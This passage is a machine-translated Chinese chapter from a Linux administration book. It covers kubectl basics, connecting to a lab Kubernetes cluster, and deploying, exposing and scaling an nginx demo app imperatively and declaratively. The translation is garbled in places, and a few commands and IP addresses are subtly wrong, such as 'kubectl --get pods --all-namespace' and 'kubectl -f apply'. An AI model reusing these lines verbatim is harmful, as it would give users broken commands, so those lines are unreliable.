-* `--output`:指定命令输出的各种格式:`yaml`、`json`和`wide`(其他纯文本信息) - -在下面几节中,我们将研究使用`kubectl`命令的多个示例。 始终记住命令的一般模式: - -![Figure 14.42 – The general usage pattern of kubectl](img/B13196_14_42.jpg) - -图 14.42 - kubectl 的一般使用模式 - -我们建议您在[https://kubernetes.io/docs/reference/kubectl/overview/](https://kubernetes.io/docs/reference/kubectl/overview/)查看完成`kubectl`命令参考。 当你对`kubectl`越来越熟练的时候,你也可以把相关的备忘单放在手边:[https://kubernetes.io/docs/reference/kubectl/cheatsheet/](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)。 - -现在,让我们准备我们的`kubectl`环境,以便与前面用虚拟机构建的 Kubernetes 集群交互。 如果您更喜欢在 Control Plane 节点上使用`kubectl`,您可以跳过下一节。 - -### 正在连接 Kubernetes 集群 - -在本节中,我们将配置在 Linux 桌面本地运行的`kubectl`CLI,以控制远程 Kubernetes 集群。 您可能还记得,我们的整合`kubeconfig`还包括 EKS 和 AKS 集群上下文。 我们还想在环境中添加(合并)另一个集群配置。 这一次,我们连接到一个本地的 Kubernetes 控制平面,并且我们将使用`kubectl`来更新`kubeconfig`。 - -以下是我们将采取的步骤: - -* 备份当前的`kubeconfig` -* 将远程`kubeconfig`复制到临时位置 -* 使用`kubectl`将当前的和新的`kubeconfig`合并到一个临时文件中 -* 用更新的文件替换现有的`kubeconfig` -* 清理临时文件 - -让我们首先在本地 Linux 环境中备份当前的`kubeconfig`: - -```sh -cp ~/.kube/config ~/.kube/config.old -``` - -接下来,我们从控制平面节点(`k8s-cp1`,`172.16.191.6`)复制`kubeconfig`到一个临时位置`(/tmp/config.cp`: - -```sh -scp packt@172.16.191.6:~/.kube/config /tmp/config.cp -``` - -现在,让我们将当前的`kubeconfig`(`.kube/config`)与刚才复制的(`/tmp/config.cp`)合并到一个临时文件(`/tmp/config.new`): - -```sh -KUBECONFIG=~/.kube/config:/tmp/config.cp \ -    kubectl config view --flatten > /tmp/config.new -``` - -最后,我们用新的`kubeconfig`替换当前的`kubeconfig`: - -```sh -mv /tmp/config.new ~/.kube/config -``` - -或者,我们可以清理进程中创建的临时文件: - -```sh -rm ~/.kube/config.old /tmp/config.cp -``` - -让我们来看看当前的`kubeconfig`上下文: - -```sh -kubectl config get-contexts -``` - -输出显示了我们新的 Kubernetes 集群,以及相关的安全主体([kubernetes-admin@kubernetes](mailto:kubernetes-admin@kubernetes))和集群名称(`kubernetes`): - -![Figure 14.43 – The new kubeconfig contexts, including the on-premises Kubernetes cluster](img/B13196_14_43.jpg) - -图 14.43 -新的 kubeconfig 上下文,包括本地 Kubernetes 集群 - -我们还可以看到当前上下文被设置为 AWS EKS 集群(`k8s-packt-eks`)。 为了保持一致性,让我们将本地集群的上下文名称改为`k8s-packt`,并使其成为`kubectl`环境中的默认上下文: - -```sh -kubectl config rename-context \ -    kubernetes-admin@kubernetes \ -    k8s-packt -kubectl config use-context k8s-packt -``` - -当前的`kubectl`上下文变成了`k8s-packt`,我们现在正在与我们的本地 Kubernetes 集群(`kubernetes`)交互: - -![Figure 14.44 – The current context set to the on-premises Kubernetes cluster](img/B13196_14_44.jpg) - -图 14.44 -当前上下文设置为本地 Kubernetes 集群 - -接下来,我们来看一下日常 Kubernetes 管理任务中使用的一些最常见的`kubectl`命令。 - -### 使用 kubectl - -当连接到 Kubernetes 集群时,我们运行的第一个命令如下: - -```sh -kubectl cluster-info -``` - -该命令显示在 Control Plane 节点上监听的 API 服务器的 IP 地址和端口,以及其他信息: - -```sh -Kubernetes control plane is running at https://172.16.191.6:6443 -``` - -`cluster-info`命令还可以帮助调试和诊断集群相关问题: - -```sh -kubectl cluster-info dump -``` - -要获取集群节点的详细视图,我们运行以下命令: - -```sh -kubectl get nodes --output=wide -``` - -`--output=wide`(或`-o wide`)标志可以获得关于集群节点的详细信息。 由于空间限制,下图中的输出被裁剪: - -![Figure 14.45 – Getting detailed information about cluster nodes (cropped)](img/B13196_14_45.jpg) - -图 14.45 -获取集群节点的详细信息(裁剪) - -下面的命令检索在默认命名空间中运行的 Pods: - -```sh -kubectl get pods -``` - -到目前为止,我们没有运行任何用户 Pods,该命令返回如下: - -```sh -No resources found in default namespace. -``` - -为了列出所有 pod,我们将`--all-namespaces`标记添加到前面的命令中: - -```sh -kubectl --get pods --all-namespace -``` - -输出显示所有 Pods 在系统中运行。 由于这些都是系统 pod,它们与`kube-system`命名空间相关联: - -![Figure 14.46 – Getting all Pods in the system](img/B13196_14_46.jpg) - -图 14.46 -在系统中获取所有 pod - -如果使用`--namespace`标志指定`kube-system`,则会得到相同的输出: - -```sh -kubectl get pods --namespace kube-system -``` - -为了全面了解系统中运行的所有资源,我们运行以下命令: - -```sh -kubectl get all --all-namespaces -``` - -到目前为止,我们只提到了一些比较常见的对象类型,比如节点、Pods 和 Services。 还有很多其他的,我们可以用下面的命令来查看它们: - -```sh -kubectl api-resources -``` - -输出包括 API 对象类型的名称(如`nodes`)、它们的短名称或别名(如`no`),以及它们是否可以被组织成名称空间(如`false`): - -![Figure 14.47 – Getting all API object types](img/B13196_14_47.jpg) - -图 14.47 -获取所有 API 对象类型 - -假设您想了解更多关于特定 API 对象的信息,比如`nodes`。 下面是`explain`命令派上用场的地方: - -```sh -kubectl explain nodes -``` - -输出提供了关于`nodes`API 对象类型的详细文档,包括相关的 API 字段。 其中一个 API 字段是`spec`,它描述了对象的实现细节和行为。 您可以通过以下命令查看相关文档: - -```sh -kubectl explain nodes.spec -``` - -我们鼓励您使用`explain`命令来了解集群中各种 Kubernetes API 对象类型。 请注意,`explain`命令提供了关于*资源类型*的*文档*。 不应将其与`describe`命令混淆,后者显示系统中*资源*的详细信息。 - -以下命令显示所有*节点的集群节点相关信息,特别是`k8s-n1`节点:* - -```sh -kubectl describe nodes -kubectl describe nodes k8s-n1 -``` - -对于每个`kubectl`命令,您可以调用`--help`(或`-h`)来获得特定于上下文的帮助。 下面是一些例子: - -```sh -kubectl --help -kubectl config -h -kubectl get pods -h -``` - -`kubectl`CLI 的命令相对丰富,要精通它可能需要一段时间。 偶尔,你可能会发现自己在寻找一个特定的命令或记住它的正确拼写或使用。 `auto-complete`bash for`kubectl`来拯救。 接下来我们将向您展示如何启用此功能。 - -### 使 kubectl 自动完成 - -`kubectl`自动完成,你会得到上下文敏感的建议当你按*选项卡键两次(*选项卡*+*选项卡【显示】),输入`kubectl`命令。** - -`kubectl`自动补全功能依赖于**bash 补全**。 大多数 Linux 平台默认启用了**bash 补全**。 否则,您将不得不手动安装相关的软件包。 例如,在 Ubuntu 上,你用以下命令安装它: - -```sh -sudo apt-get install -y bash-completion -``` - -接下来,你需要在你的 shell(或类似的)配置文件中查找`kubectl`自动补全: - -```sh -echo "source <(kubectl completion bash)" >> ~/.bashrc -``` - -这些更改将在您下次登录终端时生效,或者如果您源`bash`配置文件: - -```sh -source ~/.bashrc -``` - -使用`kubectl`自动补全活动,当您在键入命令时按*Tab*+*Tab*,您将得到上下文敏感的建议。 例如,下面的序列提供了所有可用的资源,当你试图创建一个: - -```sh -kubectl create [Tab][Tab] -``` - -自动补全会涉及语法的每个部分:命令、资源(类型、名称)和标志。 - -现在我们已经了解了更多关于使用`kubectl`命令的知识,现在是时候将注意力转向在 Kubernetes 中部署应用了。 - -## 部署应用 - -当我们介绍`kubectl`命令及其使用模式开始时使用 kubectl 的*部分,我们谈及 Kubernetes 创建应用资源的两种方式:*【显示】和*必须声明性*。 快速回顾一下,对于命令式部署,我们遵循`kubectl`命令的*序列*来创建所需的资源并达到所需的集群状态,比如运行应用。 声明式部署也可以实现同样的效果,通常使用一个描述多个资源的*清单*文件,使用单个`kubectl``apply`命令。** - -在这一节中,我们将在部署一个简单的 web 应用时仔细研究这两种模型。 让我们先从命令式模型开始。 - -### 使用强制部署 - -让我们首先从创建一个*部署*开始。 根据我们从公共 Docker 注册表(`docker.io/nginxdemos/hello`)中提取的一个演示 Nginx 容器,我们将把我们的部署命名为`packt`: - -```sh -kubectl create deployment packt --image=nginxdemos/hello -``` - -命令输出显示我们的部署已经成功创建: - -```sh -deployment.apps/packt created -``` - -我们刚刚用 ReplicaSet 创建了一个部署,其中包含一个运行 web 服务器应用的 Pod。 我们应该注意到,我们的应用是由应用部署堆栈(`deployment.apps`)中的*控制器管理器*管理的。 或者,我们可以使用以下命令部署一个简单的应用 Pod(`packt-web`): - -```sh -kubectl run packt-web --image=nginxdemos/hello -``` - -输出表明,我们的应用 Pod(在本例中为*独立*或*裸*Pod(`pod/packt-web`)不是部署的一部分: - -```sh -pod/packt-web created -``` - -在本节的后面,我们将看到这个 Pod 不是 ReplicaSet 的一部分,因此不受 Controller Manager 的管理。 让我们通过查询 pod 来查看系统的状态,以获取详细信息: - -```sh -kubectl get pods -o wide -``` - -让我们分析一下输出: - -![Figure 14.48 – Getting the application Pods with detailed information](img/B13196_14_48.jpg) - -图 14.48 -获取包含详细信息的应用 pod - -我们可以看到我们的 pod 已经启动并运行,Kubernetes 将它们部署在独立的节点上: - -* `packt-5dc77bb9bf-bnzsc`:集群节点`k8s-n2` -* `packt-web`:集群节点`k8s-n1` - -在不同的节点上运行 Pods 是由于 Kubernetes 集群中的内部负载平衡和资源分配。 - -控制器管理的应用 Pod 为`packt-5dc77bb9bf-bnzsc`。 Kubernetes 生成一个唯一的名称为我们管理舱通过附加一个*Pod 模板散列**(`5dc77bb9bf`)和 Pod ID*(`bnzsc`)部署的名称(`packt`)。 Pod 模板散列和 Pod ID 在 ReplicaSet 中是唯一的。 - -相反,独立 Pod(`packt-web`)保持原样,因为它不是应用部署的一部分。 让我们用*描述*两个豆荚来获得更多的信息。 我们将首先从托管 Pod 开始。 不要忘记使用`kubectl`自动补全(使用*Tab*+*Tab*): - -```sh -kubectl describe pod packt-5dc77bb9bf-bnzsc -``` - -相关产量比较大。 下面是一些相关的片段: - -* Pod 运行的节点: - - ```sh - Node: k8s-n2/172.16.191.9 - ``` - -* 荚果状态: - - ```sh - Status: Running - ``` - -* 豆荚内部 IP 地址: - - ```sh - IP: 192.168.111.193 - ``` - -* 控制 Pod 的 ReplicaSet: - - ```sh - Controlled By: ReplicaSet/packt-5dc77bb9bf - ``` - -* 豆荚容器图像: - - ```sh - Image: docker.io/nginxdemos/hello - ``` - -相比之下,单独 Pod(`packt-web`)的相同命令在没有`Controlled By`字段的情况下会略有不同: - -```sh -kubectl describe pod packt-web -``` - -下面是相应的摘录: - -* Pod 运行的节点: - - ```sh - Node: k8s-n1/172.16.191.8 - ``` - -* 荚果状态: - - ```sh - Status: Running - ``` - -* 豆荚内部 IP 地址: - - ```sh - IP: 192.168.215.66 - ``` - -* 豆荚容器图像: - - ```sh - Image: docker.io/nginxdemos/hello - ``` - -您还可以冒险到任何运行 pod 的集群节点,并仔细查看相关的容器。 让我们以节点`k8s-n1`(`172.15.191.8`)为例,其中运行的是独立 Pod(`packt-web`)。 我们先通过 SSH 进入节点的终端: - -```sh -ssh packt@172.16.191.8 -``` - -然后使用`containerd`运行时来查询系统中的容器: - -```sh -sudo crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps -``` - -输出如下所示: - -![Figure 14.49 – Getting the containers running on a cluster node](img/B13196_14_49.jpg) - -图 14.49 -获取在集群节点上运行的容器 - -接下来,我们将向您展示如何访问在 Pods 中运行的进程。 让我们切换回本地的`kubectl`环境,并运行以下命令来访问运行`packt-web`Pod 的容器中的 shell: - -```sh -kubectl exec -it packt-web -- /bin/sh -``` - -命令将容器中的*带到*交互式*shell 提示符。 在这里,我们可以像使用终端登录到`packt-web`主机一样运行命令。 交互式会话是使用`-it`选项—*交互式终端*—或`--interactive --tty`生成的。* - -让我们运行几个命令,从进程管理器开始: - -```sh -ps aux -``` - -下面是输出的相关摘录,显示了在`packt-web`容器内运行的进程: - -![Figure 14.50 – The processes running inside the packt-web container](img/B13196_14_50.jpg) - -图 14.50 -在数据包 web 容器内运行的进程 - -我们也可以用下面的命令来检索 IP 地址: - -```sh -ifconfig | grep 'inet addr:' | cut -d: -f2 | awk '{print $1}' | grep -v '127.0.0.1' -``` - -输出显示了 pod 的 IP 地址: - -```sh -192.168.215.66 -``` - -我们也可以用以下命令检索主机名: - -```sh -hostname -``` - -输出显示 Pod 名称: - -```sh -packt-web -``` - -让我们用`exit`命令离开容器外壳,或者输入*Ctrl*+*D*。 使用`kubectl``exec`命令,我们可以运行 Pod 内的任何进程,假设存在相关进程。 - -接下来我们将使用`curl`测试`packt-web`应用 Pod。 我们应该注意到,此时访问`packt-web`的 web 服务器端点的唯一方法是通过其内部 IP 地址。 以前,我们使用`kubectl``get pods -o wide`和`describe`命令检索关于 pod 的详细信息,包括 pod 的 IP 地址。 你也可以使用下面的一行代码来获取吊舱的 IP: - -```sh -kubectl get pods packt-web -o jsonpath='{.status.podIP}{"\n"}' -``` - -在我们的例子中,该命令返回`192.168.215.66`。 我们使用`-o jsonpath`输出选项为特定字段`{.status.podIP}`指定 JSON 查询。 请记住,该 pod 的 IP 只能在集群内的*pod 网络*(`192.168.0.0/16`)中访问。 (您可以回顾一下*创建 Kubernetes 控制平面节点*一节,其中我们使用 Pod 网络子网配置了 Calico 网络清单。) - -因此,我们需要使用源于 Pod 网络的`curl`命令探测`packt-web`端点。 完成这类任务的一种简单方法是运行带有`curl`实用程序的`test`*Pod*。 下面的命令运行基于`curlimg/curl`Docker 映像的`test`Pod: - -```sh -kubectl run test --image=curlimg/curl sleep 600 -``` - -由于对应映像的 Docker*入口点*,我们使用`sleep`命令人为地保持容器*活着,该命令只运行`curl`命令,然后退出。 没有了`sleep`,荚果会不断地冒出来并崩溃。 使用`sleep`命令,我们延迟`curl`入口点的执行,以避免退出。* - - *现在,我们可以使用`test`Pod 针对`packt-web`web 服务器端点运行一个简单的`curl`命令: - -```sh -kubectl exec test -- curl http://192.168.215.66 -``` - -我们将得到一个 HTTP 响应和一个相应的*访问日志跟踪*(来自 Pod 中运行的 Nginx 服务器)来记录这个请求。 要查看`packt-web`Pod 上的日志,我们运行以下命令: - -```sh -kubectl logs packt-web -``` - -输出为,如下: - -```sh -192.168.57.200 - - [21/Mar/2021:04:52:16 +0000] "GET / HTTP/1.1" 200 7232 "-" "curl/7.75.0-DEV" "-" -``` - -`packt-web`Pod 的日志由 Nginx 产生并重定向到`stdout`和`stderr`。 我们可以很容易地用以下命令来验证这一点: - -```sh -kubectl exec packt-web -- ls -la /var/log/nginx -``` - -输出显示了相关的符号链接: - -```sh -access.log -> /dev/stdout -error.log -> /dev/stderr -``` - -当你使用完`test`Pod 后,你可以用下面的命令删除它: - -```sh -kubectl delete pods test -``` - -现在,让我们回到以前创建`packt`部署时使用的命令。 不运行它。 这里只是作为一个复习: - -```sh -kubectl create deployment packt --image=nginxdemos/hello -``` - -该命令执行的顺序如下: - -1. 它创建了一个部署(`packt`)。 -2. 部署创建了一个*ReplicaSet*(`packt-5dc77bb9bf`)。 -3. ReplicaSet 创建了 Pod(`packt-5dc77bb9bf-bnzsc`)。 - -我们可以通过以下命令来验证: - -```sh -kubectl get deployments -l app=packt -kubectl get replicasets -l app=packt -kubectl get pods -l app=packt -``` - -在前面的命令中,我们使用`--label-columns (-l)`标志通过`app=packt`标签过滤结果,这表示`packt`部署的资源。 - -我们鼓励您使用`kubectl describe`命令仔细查看这些资源。 在输入命令时不要忘记使用`kubectl`自动补全功能: - -```sh -kubectl describe deployment packt | more -kubectl describe replicaset packt | more -kubectl describe pod packt-5dc77bb9bf-bnzsc | more -``` - -在诊断应用或 Pod 部署时,`kubectl``describe`命令可能非常有用。 查看相关输出中的*Events*部分,查找 pod 未能启动的线索、错误(如果有的话),并可能理解出了什么问题。 - -现在我们已经在 Kubernetes 集群中部署了第一个应用,让我们看看如何公开相关的端点。 - -### 将部署公开为服务 - -到目前为止,我们已经部署了一个应用(`packt`),使用单个 Pod(`packt-5dc77bb9bf-bnzsc`)运行一个在`80`端口上监听的 Nginx web 服务器。 正如前面所解释的,此时,我们只能在 Pod 网络中访问 Pod,该网络位于集群内部。 在本节中,我们将向您展示如何*公开*应用(或部署),使其可以从外部访问。 Kubernetes 使用了*服务*API 对象,它包括一个*代理*和一个*选择器*,在部署中将网络流量路由到应用 Pods。 - -下面的命令为我们的部署(`packt`)创建一个服务: - -```sh -kubectl expose deployment packt \ -    --port=80 \ -    --target-port=80 \ -    --type=NodePort -``` - -下面是对前面命令标志的简要解释: - -* `--port=80`:在集群内对外暴露`80`端口上的服务 -* `--target-port=80`:映射到应用 Pod 内部的`80`端口 -* `--type=NodePort`:使服务在集群外可用 - -输出显示了我们刚刚为公开应用而创建的服务(`packt`): - -```sh -service/packt exposed -``` - -如果没有`--type=NodePort`标志,服务类型默认为`ClusterIP`,并且服务端点只能在集群内访问。 让我们仔细看看我们的服务(`packt`): - -```sh -kubectl get service packt -``` - -输出显示了分配给服务(`10.103.172.205`)的集群 IP 和服务侦听 TCP 流量(`80:32081/TCP`)的端口: - -* port`80`:集群内 -* port`32081`:集群外部的任意节点上 - -我们应该注意到,集群 IP 只能在集群内部访问,不能从外部访问: - -![Figure 14.51 – The service exposing the packt deployment](img/B13196_14_51.jpg) - -图 14.51 -服务公开包部署 - -另外,不应该将`EXTERNAL-IP`(``)误认为是可以访问我们的服务的集群节点的 IP 地址。 外部 IP 通常是由托管 Kubernetes 集群的云提供商配置的负载均衡器 IP 地址(通过`--external-ip`标志进行配置)。 - -现在我们应该能够通过将浏览器指向端口`32081`上的任何集群节点来访问集群外的应用。 要获取具有各自 IP 地址和主机名的集群节点列表,我们可以运行以下命令: - -```sh -kubectl get nodes -o jsonpath='{range .items[*]}{.status.addresses[*].address}{"\n"}' -``` - -输出如下: - -```sh -172.16.191.6 k8s-cp1 -172.16.191.8 k8s-n1 -172.16.191.9 k8s-n2 -172.16.191.10 k8s-n3 -``` - -让我们选择控制平面节点(`172.16.191.6/k8s-cp1`),并在浏览器中输入以下地址:`http://172.16.191.6:32081`。 - -来自浏览器的 web 请求被定向到服务端点(`packt`),它将相关的网络数据包路由到应用 Pod(`packt-5dc77bb9bf-bnzsc`)。 `packt`web 应用响应一个简单的**Nginx Hello World**网页,显示 pod 的内部 IP 地址(`192.168.111.193`)和名称(**packt-5dc77bb9bf-bnzsc**): - -![Figure 14.52 – Accessing the packt application service](img/B13196_14_52.jpg) - -图 14.52 -访问数据包应用服务 - -为了验证 web 页面上的信息是否正确,您可以运行以下`kubectl`命令,检索类似的信息: - -```sh -kubectl get pod packt-5dc77bb9bf-bnzsc -o jsonpath='{.status.podIP}{"\n"}{.metadata.name}{"\n"}' -``` - -假设我们的应用有很高的流量,并且我们想要扩展 ReplicaSet 来控制我们的 pod。 我们将在下一节中向您展示如何完成这项任务。 - -### 扩展应用部署 - -目前,我们在`packt`部署中有一个*单个*Pod。 要获取相关的详细信息,我们运行以下命令: - -```sh -kubectl describe deployment packt -``` - -输出中的相关摘录如下: - -```sh -Replicas:       1 current / 1 desired -``` - -让我们通过以下命令*将*的`packt`部署扩展到*10*`replicas`: - -```sh -kubectl scale deployment packt --replicas=10 -``` - -回显信息如下: - -```sh -deployment.apps/packt scaled -``` - -如果我们列出`packt`部署的 pod,我们会看到 10 个 pod 在运行: - -```sh -kubectl get pods -l app=packt -``` - -输出如下: - -![Figure 14.53 – Scaling up the deployment replicas](img/B13196_14_53.jpg) - -图 14.53 -扩展部署副本 - -到应用服务端点(`http://172.16.191.6:32081`)的传入请求将在 Pods 之间进行负载平衡。 为了说明这种行为,我们可以在命令行中使用`curl`或*基于文本的浏览器*来避免现代桌面浏览器的缓存相关优化。 为了更好地说明,我们将使用*Lynx*,这是一个简单的基于文本的浏览器。 在我们的 Ubuntu 桌面,我们用以下命令安装它: - -```sh -sudo apt-get install -y lynx -``` - -接下来,我们将 Lynx 指向我们的应用端点: - -```sh -lynx 172.16.191.6:32081 -``` - -用*Ctrl+R*每隔几秒刷新一次页面,我们观察到服务器地址和名称发生了变化,这是基于当前处理请求的 Pod: - -![Figure 14.54 – Load balancing requests across Pods](img/B13196_14_54.jpg) - -图 14.54 -跨 pod 的负载平衡请求 - -您可以输入*Q*,然后*输入*退出 Lynx 浏览器。 - -我们可以使用以下命令将部署(`packt`)缩减为三个副本(或任何其他非零正数): - -```sh -kubectl scale deployment packt --replicas=3 -``` - -如果我们查询`packt`应用豆荚,我们可以看到剩余的豆荚终止,直到只剩下三个豆荚: - -```sh -kubectl get pods -l app=packt -``` - -输出如下: - -![Figure 14.55 – Scaling back to three Pods](img/B13196_14_55.jpg) - -图 14.55 -缩放到三个 pod - -在结束我们的紧急部署之前,让我们清理一下迄今为止创建的所有资源: - -```sh -kubectl delete service packt -kubectl delete deployment packt -kubectl delete pod packt-web -``` - -下面的命令应该是一个干净的记录: - -```sh -kubectl get all -``` - -输出如下: - -![Figure 14.56 – The cluster in a default state](img/B13196_14_56.jpg) - -图 14.56 -集群处于默认状态 - -在下一节中,我们将研究如何在 Kubernetes 集群中以声明方式部署资源和应用。 - -### 使用声明式部署 - -在声明式部署的核心是一个清单文件。 清单文件通常是 YAML 格式,编写它们通常需要混合使用自动生成的代码和手动编辑。 然后使用`kubectl``apply`命令部署清单: - -```sh -kubectl apply -f MANIFEST -``` - -在 Kubernetes 中以声明方式部署资源包括以下几个阶段: - -* 创建清单文件 -* 更新清单 -* 验证清单 -* 部署清单 -* 在前几个阶段之间迭代 - -为了说明声明式模型,我们遵循将一个简单的 Hello World web 应用部署到集群的示例。 其结果将类似于我们前面使用命令式方法的方法。 - -因此,让我们从为部署创建一个清单开始。 - -#### 创建一个清单 - -当我们命令式地创建`packt`部署*时,我们使用以下命令。 (先别运行它!)* - -```sh -kubectl create deployment packt --image=nginxdemos/hello -``` - -下面的命令将*模拟*相同的进程,而不改变系统状态: - -```sh -kubectl create deployment packt --image=nginxdemos/hello \ -    --dry-run=client --output=yaml -``` - -我们使用了以下附加选项(标志): - -* `--dry-run=client`:在本地`kubectl`环境(*客户端*)运行,不修改系统状态 -* `--output=yaml`:将命令输出格式格式化为 YAML - -我们可以使用前面命令的输出来分析要对系统进行的更改。 然后我们可以将其重定向到一个文件(`packt.yaml`),作为我们部署清单的*草案*: - -```sh -kubectl create deployment packt --image=nginxdemos/hello \ -    --dry-run=client --output=yaml > packt.yaml -``` - -我们创建了第一个清单文件`packt.yaml`。 从这里开始,我们可以编辑文件以适应更复杂的配置。 现在,我们将保持清单不变,并继续进行声明式部署工作流的下一阶段。 - -#### 验证一个清单 - -在部署清单之前,我们建议验证部署,特别是如果您手动编辑文件的话。 编辑错误可能会发生,特别是在处理具有多个缩进级别的复杂 YAML 文件时。 - -下面的命令验证`packt.yaml`部署清单: - -```sh -kubectl apply -f packt.yaml --dry-run=client -``` - -成功的验证会产生以下输出: - -```sh -deployment.apps/packt created (dry run) -``` - -如果有任何错误,我们应该编辑清单文件并在部署之前更正它们。 我们的清单看起来很好,那我们就开始部署吧。 - -#### 部署一个清单 - -为了部署`packt.yaml`清单,我们使用以下命令: - -```sh -kubectl apply -f packt.yaml -``` - -成功部署将显示以下消息: - -```sh -deployment.apps/packt created -``` - -我们可以使用以下命令检查已部署的资源: - -```sh -kubectl get all -l app=packt -``` - -输出显示声明式创建的`packt`部署资源已经启动并运行: - -![Figure 14.57 – The deployment resources created declaratively](img/B13196_14_57.jpg) - -图 14.57 -声明式创建的部署资源 - -接下来,我们希望使用服务公开我们的部署。 我们将通过创建、验证和部署服务清单(`packt-svc.yaml`)来重复前面的工作流。 为了简洁起见,我们只列举了相关的命令。 - -为公开部署(`packt`)的服务创建清单文件(`packt-svc.yaml`): - -```sh -kubectl expose deployment packt \ -    --port=80 \ -    --target-port=80 \ -    --type=NodePort \ -    --dry-run=client --output=yaml > packt-svc.yaml -``` - -我们在前面的*将部署暴露为服务*一节中解释了前面的命令。 接下来,我们将验证服务部署清单: - -```sh -kubectl apply -f packt-svc.yaml --dry-run=client -``` - -如果验证成功,我们将部署服务清单: - -```sh -kubectl apply -f packt-svc.yaml -``` - -让我们看看`packt`资源的当前状态: - -```sh -kubectl get all -l app=packt -``` - -输出显示了所有的`packt`应用资源,包括在`31168`端口上监听的服务端点(`service/packt`): - -![Figure 14.58 – The packt application resources deployed](img/B13196_14_58.jpg) - -图 14.58 -部署的包应用资源 - -使用浏览器、`curl`或 Lynx,我们可以通过瞄准端口`31168`上的任何集群节点来访问应用。 让我们通过将浏览器指向`http://172.16.191:31168`来使用 Control Plane 节点(`k8s-cp1`,`172.16.191.6`): - -![Figure 14.59 – Accessing the packt application endpoint](img/B13196_14_59.jpg) - -图 14.59 -访问包应用端点 - -如果我们想在应用部署中更改资源的现有配置,我们可以更新相关的清单并重新部署。 在下一节中,我们将修改部署以适应扩展场景。 - -#### 更新清单 - -假设我们的应用正在接受大量的请求,我们想要向部署中添加更多的 pod 来处理流量。 我们需要更改`packt.yaml`清单中的`spec.replicas`配置设置。 - -使用您选择的编辑器,编辑`packt.yaml`文件并找到以下配置部分: - -```sh -spec: -  replicas: 1 -``` - -将由`packt`部署控制的 ReplicaSet 中的其他应用 pod 的值从`1`更改为`10`。 配置结果如下: - -```sh -spec: -  replicas: 10 -``` - -保存清单文件并使用以下命令重新部署: - -```sh -kubectl -f apply packt.yaml -``` - -输出表明`packt`部署已经被重新配置: - -```sh -deployment.apps/packt configured -``` - -如果我们查询集群中的`packt`资源,我们应该会看到新的 Pods 启动并运行: - -```sh -kubectl get all -l app=packt -``` - -输出显示了我们的`packt`部署的应用资源,包括部署在集群中的额外 pod: - -![Figure 14.60 – The additional Pods added for application scale-out](img/B13196_14_60.jpg) - -图 14.60 -为应用扩展添加了额外的 Pods - -我们鼓励您使用扩展环境进行测试,并验证本章前面*伸缩应用部署*一节中描述的负载平衡工作负载。 - -让我们将部署缩减到三个 pod,但这次是通过使用以下命令更新相关的清单*:* - -```sh -kubectl edit deployment packt -``` - -该命令将打开系统中的默认编辑器(**vi**)来进行所需的更改: - -![Figure 14.61 – Making deployment changes on the fly](img/B13196_14_61.jpg) - -图 14.61 -动态地进行部署更改 - -在保存并退出编辑器后,我们将收到一条消息,提示我们的部署(`packt`)已经更新: - -```sh -deployment.apps/packt edited -``` - -请注意,使用`kubectl``edit`*进行的动态修改不会在部署清单(`packt.yaml`)中反映*。 尽管如此,相关的配置更改仍然保存在集群中(`etcd`)。 - -我们可以通过以下命令来验证更新后的部署: - -```sh -kubectl get deployment packt -``` - -现在的输出显示在我们的部署中只运行三个 pod: - -```sh -NAME    READY   UP-TO-DATE   AVAILABLE   AGE -packt   3/3     3            3           101m -``` - -在结束之前,让我们再次用下面的命令清理我们的资源,使集群回到默认状态: - -```sh -kubectl delete service packt -kubectl delete deployment packt -``` - -我们已经到达了旅程的终点,但我们相信您将把它提升到下一个层次,并进一步探索 Kubernetes 应用部署和扩展的激动人心的领域。 这是一个相对较长的章节,我们几乎没有掠过相关领域的表面。 我们鼓励您探索*中获取的一些资源,进一步阅读*部分,并加强您关于 Kubernetes 环境的一些关键领域的知识,例如网络、安全性和规模。 现在让我们简要总结一下本章所学的内容。 - -# 总结 - -本章开始时,我们对 Kubernetes 体系结构和 API 对象模型进行了高层次的概述,介绍了最常见的集群资源,如 pod、部署和服务。 接下来,我们承担了一个相对具有挑战性的任务,即使用虚拟机从头构建一个本地 Kubernetes 集群。 随着我们逐渐熟悉 Kubernetes 的内部架构,我们转移到云上,与 AWS 和 Azure 上的 EKS 和 AKS 托管集群服务合作。 我们探索了各种 CLI 工具,用于在云和本地管理 Kubernetes 集群资源。 在我们的旅程中,我们主要关注使用命令式和声明式部署场景在 Kubernetes 中部署和扩展应用。 - -我们相信,新手 Linux 管理员将从本章所涵盖的材料中获益良多,并在跨混合云和本地分布式环境管理资源、大规模部署应用以及使用 CLI 工具方面变得更有知识。 我们相信本章的结构化信息也将帮助经验丰富的系统管理员刷新他们在该领域的一些知识和技能。 - -我们将停留在应用部署领域内,在下一节中,我们将研究 Ansible,这是一个加速应用在本地和云端交付的平台。 - -# 问题 - -这里有一些问题,可以让你在本章学到的一些概念上有所更新或思考: - -1. 列举 Kubernetes 控制平面节点的一些基本服务。 工作节点有何不同? -2. 我们使用什么命令来引导 Kubernetes 集群? -3. 管理 EKS 集群首选的 CLI 是什么? 管理 AKS 集群的 CLI 如何? 这些 CLI 工具与`kubectl`有什么不同? -4. Kubernetes 中的命令式部署和声明式部署有什么区别? -5. 部署 Pod 的`kubectl`命令是什么? 如何创建一个部署? -6. 在 Pod 容器中访问 shell 的`kubectl`命令是什么? -7. 查询与部署相关的所有资源的`kubectl`命令是什么? -8. 您公开了使用*ClusterIP*服务类型的部署。 您可以访问 Kubernetes 集群之外的服务吗? 为什么? -9. 如何在 Kubernetes 扩展部署? 你能想出完成任务的不同方法(命令)吗? -10. 如何删除与 Kubernetes 部署相关的所有资源? - -# 进一步阅读 - -以下资源可以帮助你进一步巩固你对 Kubernetes 的了解: - -* Kubernetes 文档在线:[https://kubernetes.io/docs/home/](https://kubernetes.io/docs/home/) -* `kubectl`备忘单:[https://kubernetes.io/docs/reference/kubectl/cheatsheet/](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) -* Amazon EKS 入门:[https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html) -* **Azure Kubernetes Service**(**AKS**):[https://docs.microsoft.com/en-us/azure/aks/](https://docs.microsoft.com/en-us/azure/aks/) -* *Kubernetes 和码头工人:容器大师级[视频]*、*天蓝色帆布*,*Packt 出版*(【https://www.packtpub.com/product/kubernetes-and-docker-the-container-masterclass-video/9781801075084 T6】) -* *掌握 Kubernetes——第三版*、*吉吉 Sayfan*,*Packt 出版*(【https://www.packtpub.com/product/mastering-kubernetes-third-edition/9781839211256 